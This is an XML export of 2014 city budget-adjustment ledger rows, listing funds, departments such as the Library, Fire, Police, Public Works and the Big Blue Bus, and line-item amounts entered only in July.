<row _id="5041"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>555180.0</object><object_description>PHOTOGRAPHIC EXPENSE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>200.0</total></row>
<row _id="5042"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>17201.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>17201.0</total></row>
<row _id="5043"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1046.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1046.0</total></row>
<row _id="5044"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>88736.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>88736.0</total></row>
<row _id="5045"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>101000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>101000.0</total></row>
<row _id="5046"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>42847.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>42847.0</total></row>
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<row _id="5048"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="5049"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2850.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2850.0</total></row>
<row _id="5050"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2755.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2755.0</total></row>
<row _id="5051"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>56025.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>56025.0</total></row>
<row _id="5052"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>11450.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>11450.0</total></row>
<row _id="5053"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="5054"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5890.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5890.0</total></row>
<row _id="5055"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>106600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>106600.0</total></row>
<row _id="5056"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7200.0</total></row>
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<row _id="5058"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object>511550.0</object><object_description>LIBRARY PAGES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>272402.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>272402.0</total></row>
<row _id="5059"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8500.0</total></row>
<row _id="5060"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3024671.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3024671.0</total></row>
<row _id="5061"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3137.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3137.0</total></row>
<row _id="5062"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>201955.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>201955.0</total></row>
<row _id="5063"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>298120.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>298120.0</total></row>
<row _id="5064"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="5065"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511979.0</object><object_description>MEDICAL EXAMS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>10000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="5066"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522044.0</object><object_description>PREMIUMS FOR PL &amp; PD-SRV REV</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="5067"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>577064.0</object><object_description>OTHER MISCELLANEOUS EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>28481.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>28481.0</total></row>
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<row _id="5071"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>59160.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>59160.0</total></row>
<row _id="5072"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>340330.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>340330.0</total></row>
<row _id="5073"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>80000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>80000.0</total></row>
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<row _id="5095"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>404590.0</object><object_description>SUBDIVISION MAP FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-11263.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-11263.0</total></row>
<row _id="5096"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>13950.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>13950.0</total></row>
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<row _id="5100"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-2177.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-2177.0</total></row>
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<row _id="5107"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6300.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6300.0</total></row>
<row _id="5108"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>235</division_id><division_name>WORKER'S COMPENSATION</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6000.0</total></row>
<row _id="5109"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>404170.0</object><object_description>OTHER REVENUE - MISCELLANEOUS</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-108632.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-108632.0</total></row>
<row _id="5110"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402210.0</object><object_description>MAUSOLEUM SALES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-135915.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-135915.0</total></row>
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<row _id="5114"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>400180.0</object><object_description>LOCAL PUBLIC SAFETY FUNDS</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="5115"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>400670.0</object><object_description>FIRE PERMITS / FEES</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>-761977.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-761977.0</total></row>
<row _id="5116"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>401600.0</object><object_description>LIBRARY FINES</object_description><category_code>614.0</category_code><category_code_description>Fines and Forfeitures</category_code_description><fiscal_year>2014</fiscal_year><july>-290000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-290000.0</total></row>
<row _id="5117"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>401630.0</object><object_description>LIBRARY COPIERS AND PRINTERS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-32000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-32000.0</total></row>
<row _id="5118"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>401640.0</object><object_description>LIBRARY MEETING ROOM RENTAL</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2014</fiscal_year><july>-47000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-47000.0</total></row>
<row _id="5119"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>588090.0</object><object_description>FURNITURE &amp; FURNISHINGS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>75.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>75.0</total></row>
<row _id="5120"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5140.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5140.0</total></row>
<row _id="5121"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>566450.0</object><object_description>SEWAGE PUMP PLANT MAINT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>375000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>375000.0</total></row>
<row _id="5122"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>569000.0</object><object_description>CULTURAL/ARTS GRANTS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>260700.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>260700.0</total></row>
<row _id="5123"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>14</fund_id><fund_name>TORCA Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>404060.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="5124"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>60600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>60600.0</total></row>
<row _id="5125"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
